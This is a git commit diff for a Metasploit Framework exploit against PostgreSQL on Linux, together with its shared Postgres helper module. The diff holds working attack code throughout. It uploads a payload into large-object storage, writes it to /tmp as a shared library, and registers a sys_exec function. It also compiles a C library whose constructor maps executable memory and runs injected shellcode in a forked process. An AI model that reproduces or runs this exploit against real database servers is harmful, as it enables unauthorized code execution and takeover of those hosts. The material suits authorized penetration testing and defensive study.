Compile a .so instead of being version-specific

This makes it possible to use payloads for the appropriate architecture

NOTE: need to test windows and make sure I didn't break it
bug/bundler_fix
James Lee 2012-10-13 15:18:25 -05:00
parent ad1870d819
commit 9c6fdbe9d7
2 changed files with 118 additions and 117 deletions

View File

@ -98,7 +98,6 @@ module Exploit::Remote::Postgres
def postgres_query(sql=nil,doprint=false) def postgres_query(sql=nil,doprint=false)
ip = datastore['RHOST'] ip = datastore['RHOST']
port = datastore['RPORT'] port = datastore['RPORT']
verbose = datastore['VERBOSE']
postgres_login unless self.postgres_conn postgres_login unless self.postgres_conn
unless self.postgres_conn unless self.postgres_conn
return {:conn_error => true} return {:conn_error => true}
@ -155,7 +154,7 @@ module Exploit::Remote::Postgres
# postgres_fingerprint attempts to fingerprint a remote Postgresql instance, # postgres_fingerprint attempts to fingerprint a remote Postgresql instance,
# inferring version number from the failed authentication messages. # inferring version number from the failed authentication messages.
def postgres_fingerprint(args={}) def postgres_fingerprint(args={})
postgres_logout if self.postgres_conn return postgres_authed_fingerprint if self.postgres_conn
db = args[:database] || datastore['DATABASE'] db = args[:database] || datastore['DATABASE']
username = args[:username] || datastore['USERNAME'] username = args[:username] || datastore['USERNAME']
password = args[:password] || datastore['PASSWORD'] password = args[:password] || datastore['PASSWORD']
@ -167,7 +166,6 @@ module Exploit::Remote::Postgres
uri = "tcp://[#{rhost}]:#{rport}" uri = "tcp://[#{rhost}]:#{rport}"
end end
verbose = args[:verbose] || datastore['VERBOSE'] verbose = args[:verbose] || datastore['VERBOSE']
begin begin
self.postgres_conn = Connection.new(db,username,password,uri) self.postgres_conn = Connection.new(db,username,password,uri)
@ -175,12 +173,14 @@ module Exploit::Remote::Postgres
version_hash = analyze_auth_error e version_hash = analyze_auth_error e
return version_hash return version_hash
end end
if self.postgres_conn # Just ask for the version. return postgres_authed_fingerprint if self.postgres_conn
end
def postgres_authed_fingerprint
resp = postgres_query("select version()",false) resp = postgres_query("select version()",false)
ver = resp[:complete].rows[0][0] ver = resp[:complete].rows[0][0]
return {:auth => ver} return {:auth => ver}
end end
end
# Matches up filename, line number, and routine with a version. # Matches up filename, line number, and routine with a version.
# These all come from source builds of Postgres. TODO: check # These all come from source builds of Postgres. TODO: check
@ -264,7 +264,7 @@ module Exploit::Remote::Postgres
read_query = %Q{CREATE TEMP TABLE #{temp_table_name} (INPUT TEXT); read_query = %Q{CREATE TEMP TABLE #{temp_table_name} (INPUT TEXT);
COPY #{temp_table_name} FROM '#{filename}'; COPY #{temp_table_name} FROM '#{filename}';
SELECT * FROM #{temp_table_name}} SELECT * FROM #{temp_table_name}}
read_return = postgres_query(read_query,true) return postgres_query(read_query,true)
end end
def postgres_has_database_privilege(priv) def postgres_has_database_privilege(priv)
@ -288,17 +288,6 @@ module Exploit::Remote::Postgres
return true return true
end end
# Creates the function sys_exec() in the pg_temp schema.
def postgres_create_sys_exec_linux(so)
q = "create or replace function pg_temp.sys_exec(text) returns int4 as '#{so}', 'sys_exec' language C returns null on null input immutable"
resp = postgres_query(q);
if resp[:sql_error]
print_error "Error creating pg_temp.sys_exec: #{resp[:sql_error]}"
return false
end
return true
end
# This presumes the pg_temp.sys_exec() udf has been installed, almost # This presumes the pg_temp.sys_exec() udf has been installed, almost
# certainly by postgres_create_sys_exec() # certainly by postgres_create_sys_exec()
def postgres_sys_exec(cmd) def postgres_sys_exec(cmd)
@ -315,8 +304,13 @@ module Exploit::Remote::Postgres
# Takes a local filename and uploads it into a table as a Base64 encoded string. # Takes a local filename and uploads it into a table as a Base64 encoded string.
# Returns an array if successful, false if not. # Returns an array if successful, false if not.
def postgres_upload_binary_file_linux(fname) def postgres_upload_binary_file(fname, remote_fname=nil)
data = postgres_base64_file(fname) data = File.read(fname)
postgres_upload_binary_data(data, remote_fname)
end
def postgres_upload_binary_data(data, remote_fname=nil)
data = postgres_base64_data(data)
tbl,fld = postgres_create_stager_table tbl,fld = postgres_create_stager_table
return false unless data && tbl && fld return false unless data && tbl && fld
q = "insert into #{tbl}(#{fld}) values('#{data}')" q = "insert into #{tbl}(#{fld}) values('#{data}')"
@ -325,37 +319,32 @@ module Exploit::Remote::Postgres
print_error resp[:sql_error] print_error resp[:sql_error]
return false return false
end end
oid, fout = postgres_write_data_to_disk_linux(tbl,fld) oid, fout = postgres_write_data_to_disk(tbl,fld,remote_fname)
return false unless oid && fout
return [tbl,fld,fout,oid]
end
# Takes a local filename and uploads it into a table as a Base64 encoded string.
# Returns an array if successful, false if not.
def postgres_upload_binary_file(fname)
data = postgres_base64_file(fname)
tbl,fld = postgres_create_stager_table
return false unless data && tbl && fld
q = "insert into #{tbl}(#{fld}) values('#{data}')"
resp = postgres_query(q)
if resp[:sql_error]
print_error resp[:sql_error]
return false
end
oid, fout = postgres_write_data_to_disk(tbl,fld)
return false unless oid && fout return false unless oid && fout
return [tbl,fld,fout,oid] return [tbl,fld,fout,oid]
end end
# Writes b64 data from a table field, decoded, to disk. # Writes b64 data from a table field, decoded, to disk.
def postgres_write_data_to_disk_linux(tbl,fld) def postgres_write_data_to_disk(tbl,fld,remote_fname=nil)
oid = rand(60000) + 1000 oid = rand(60000) + 1000
fname = "/tmp/" + Rex::Text::rand_text_alpha(8) + ".so" remote_fname ||= Rex::Text::rand_text_alpha(8) + ".dll"
ver = postgres_fingerprint
case ver[:auth]
when /PostgreSQL 8\./
queries = [ queries = [
"select lo_create(#{oid})", "select lo_create(#{oid})",
"update pg_largeobject set data=(decode((select #{fld} from #{tbl}), 'base64')) where loid=#{oid}", "update pg_largeobject set data=(decode((select #{fld} from #{tbl}), 'base64')) where loid=#{oid}",
"select lo_export(#{oid}, '#{fname}')" "select lo_export(#{oid}, '#{remote_fname}')"
] ]
when /PostgreSQL 9\./
queries = [
"select lo_create(#{oid})",
"insert into pg_largeobject select #{oid}, 0, decode((select #{fld} from #{tbl}), 'base64')",
"select lo_export(#{oid}, '#{remote_fname}')"
]
end
queries.each do |q| queries.each do |q|
resp = postgres_query(q) resp = postgres_query(q)
if resp && resp[:sql_error] if resp && resp[:sql_error]
@ -364,37 +353,16 @@ module Exploit::Remote::Postgres
break break
end end
end end
return oid,fname return oid,remote_fname
end
# Writes b64 data from a table field, decoded, to disk.
def postgres_write_data_to_disk(tbl,fld)
oid = rand(60000) + 1000
fname = Rex::Text::rand_text_alpha(8) + ".dll"
queries = [
"select lo_create(#{oid})",
"update pg_largeobject set data=(decode((select #{fld} from #{tbl}), 'base64')) where loid=#{oid}",
"select lo_export(#{oid}, '#{fname}')"
]
queries.each do |q|
resp = postgres_query(q)
if resp && resp[:sql_error]
print_error "Could not write the library to disk."
print_error resp[:sql_error]
break
end
end
return oid,fname
end end
# Base64's a file and returns the data. # Base64's a file and returns the data.
def postgres_base64_file(fname) def postgres_base64_file(fname)
data = File.open(fname, "rb") {|f| f.read f.stat.size} data = File.open(fname, "rb") {|f| f.read f.stat.size}
[data].pack("m*").gsub(/\r?\n/,"") postgres_base64_data(data)
end end
def postgres_base64_elf(data) def postgres_base64_data(data)
[data].pack("m*").gsub(/\r?\n/,"") [data].pack("m*").gsub(/\r?\n/,"")
end end

View File

@ -10,6 +10,8 @@
## ##
require 'msf/core' require 'msf/core'
require 'msf/core/exploit/postgres'
load 'lib/msf/core/exploit/postgres.rb'
class Metasploit3 < Msf::Exploit::Remote class Metasploit3 < Msf::Exploit::Remote
Rank = ExcellentRanking Rank = ExcellentRanking
@ -34,41 +36,31 @@ class Metasploit3 < Msf::Exploit::Remote
}, },
'Author' => 'Author' =>
[ [
'midnitesnake' # this Metasploit module 'midnitesnake', # this Metasploit module
'egypt' # .so technique
], ],
'License' => MSF_LICENSE, 'License' => MSF_LICENSE,
'Version' => '$Revision$', 'Version' => '$Revision$',
'References' => 'References' =>
[ [
[ 'URL', 'http://www.leidecker.info/pgshell/Having_Fun_With_PostgreSQL.txt' [ 'URL', 'http://www.leidecker.info/pgshell/Having_Fun_With_PostgreSQL.txt' ]
]
], ],
'Platform' => 'unix', 'Platform' => 'linux',
'Arch' => ARCH_CMD,
'Payload' => 'Payload' =>
{ {
'Space' => 0x65535, 'Space' => 65535,
'DisableNops' => true, 'DisableNops' => true,
'Compat' =>
{
'PayloadType' => 'cmd',
'RequiredCmd' => 'perl',
}
}, },
'Targets' => 'Targets' =>
[ [
[ 'Automatic', { } ], [ 'Linux x86', { 'Arch' => ARCH_X86 } ],
[ 'Linux x86_64', { 'Arch' => ARCH_X86_64 } ],
], ],
'DefaultTarget' => 0, 'DefaultTarget' => 0,
'DisclosureDate' => 'Jun 05 2007' 'DisclosureDate' => 'Jun 05 2007'
)) ))
register_options(
[
OptEnum.new('BITS',[true,'The architecture of the operating system X86(32) / or X86_64(64) bit OS','32',['32','64']])
],self.class)
deregister_options('SQL', 'RETURN_ROWSET') deregister_options('SQL', 'RETURN_ROWSET')
end end
@ -76,9 +68,9 @@ class Metasploit3 < Msf::Exploit::Remote
def username; datastore['USERNAME']; end def username; datastore['USERNAME']; end
def password; datastore['PASSWORD']; end def password; datastore['PASSWORD']; end
def database; datastore['DATABASE']; end def database; datastore['DATABASE']; end
def rhost; datastore['rhost']; end
def rport; datastore['rport']; end
def verbose; datastore['VERBOSE']; end def verbose; datastore['VERBOSE']; end
def rhost; datastore['RHOST']; end
def rport; datastore['RPORT']; end
def bits; datastore['BITS'];end def bits; datastore['BITS'];end
def execute_command(cmd, opts) def execute_command(cmd, opts)
@ -92,49 +84,34 @@ class Metasploit3 < Msf::Exploit::Remote
when :noauth; print_error "Authentication failed." when :noauth; print_error "Authentication failed."
when :noconn; print_error "Connection failed." when :noconn; print_error "Connection failed."
end end
return unless version =~ /8\.[234]/ #return unless version =~ /8\.[234]/
print_status "Authentication successful and vulnerable version #{version} on Linux confirmed." print_status "Authentication successful and vulnerable version #{version} on Linux confirmed."
tbl,fld,so,oid = postgres_upload_binary_file_linux(so_fname(version)) tbl,fld,so,oid = postgres_upload_binary_data(
payload_so,
"/tmp/#{Rex::Text.rand_text_alpha(8)}.so"
)
unless tbl && fld && so && oid unless tbl && fld && so && oid
print_error "Could not upload the UDF SO" print_error "Could not upload the UDF SO"
return return
end end
print_status "Uploaded #{so} as OID #{oid} to table #{tbl}(#{fld})" print_status "Uploaded #{so} as OID #{oid} to table #{tbl}(#{fld})"
ret_sys_exec = postgres_create_sys_exec_linux(so) begin
if ret_sys_exec postgres_create_sys_exec(so)
if @postgres_conn rescue
print_status "Success"
tbl,fld,myexploit,oid = postgres_upload_binary_file_elf("#!/bin/sh\n" + payload.encode)
unless tbl && fld && myexploit && oid
print_error "Could not upload the PAYLOAD"
return
end
print_status "Uploaded #{myexploit} as OID #{oid} to table #{tbl}(#{fld})"
postgres_sys_exec("chmod 755 #{myexploit}")
postgres_sys_exec("#{myexploit}")
handler
postgres_logout if @postgres_conn
else
print_error "Lost connection."
return
end
end end
postgres_logout if @postgres_conn postgres_logout if @postgres_conn
end end
def so_fname(version)
print_status "Using #{version}/#{bits}/lib_postgresqludf_sys.so"
File.join(Msf::Config.install_root,"data","exploits","postgres",version,bits,"lib_postgresqludf_sys.so")
end
# A shorter version of do_fingerprint from the postgres_version scanner # A shorter version of do_fingerprint from the postgres_version scanner
# module, specifically looking for versions that valid targets for this # module, specifically looking for versions that valid targets for this
# module. # module.
def get_version(user=nil,pass=nil,database=nil) def get_version(user=nil,pass=nil,database=nil)
begin begin
msg = "#{rhost}:#{rport} Postgres -" #msg = "#{rhost}:#{rport} Postgres -"
password = pass || postgres_password password = pass || postgres_password
vprint_status("Trying username:'#{user}' with password:'#{password}' against #{rhost}:#{rport} on database '#{database}'") vprint_status("Trying username:'#{user}' with password:'#{password}' against #{rhost}:#{rport} on database '#{database}'")
result = postgres_fingerprint( result = postgres_fingerprint(
@ -164,4 +141,60 @@ class Metasploit3 < Msf::Exploit::Remote
end end
end end
def payload_so
shellcode = Rex::Text.to_hex(payload.encoded, "\\x")
#shellcode = "\\xcc"
c = %Q^
int _exit(int);
int printf(const char*, ...);
int perror(const char*);
void *mmap(int, int, int, int, int, int);
void *memcpy(void *, const void *, int);
int mprotect(void *, int, int);
int fork();
#define MAP_PRIVATE 2
#define MAP_ANONYMOUS 32
#define PROT_READ 1
#define PROT_WRITE 2
#define PROT_EXEC 4
#define PAGESIZE 0x1000
char shellcode[] = "#{shellcode}";
void run_payload(void) __attribute__((constructor));
void run_payload(void)
{
int (*fp)();
fp = mmap(0, PAGESIZE, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, 0, 0);
memcpy(fp, shellcode, sizeof(shellcode));
if (mprotect(fp, PAGESIZE, PROT_READ|PROT_WRITE|PROT_EXEC)) {
_exit(1);
}
if (!fork()) {
fp();
}
return;
}
^
cpu = case target_arch.first
when ARCH_X86; Metasm::Ia32.new
when ARCH_X86_64; Metasm::X86_64.new
end
payload_so = Metasm::ELF.compile_c(cpu, c, "payload.c")
so_file = payload_so.encode_string(:lib)
File.open("payload.so", "wb") { |fd| fd.write so_file }
so_file
end
end end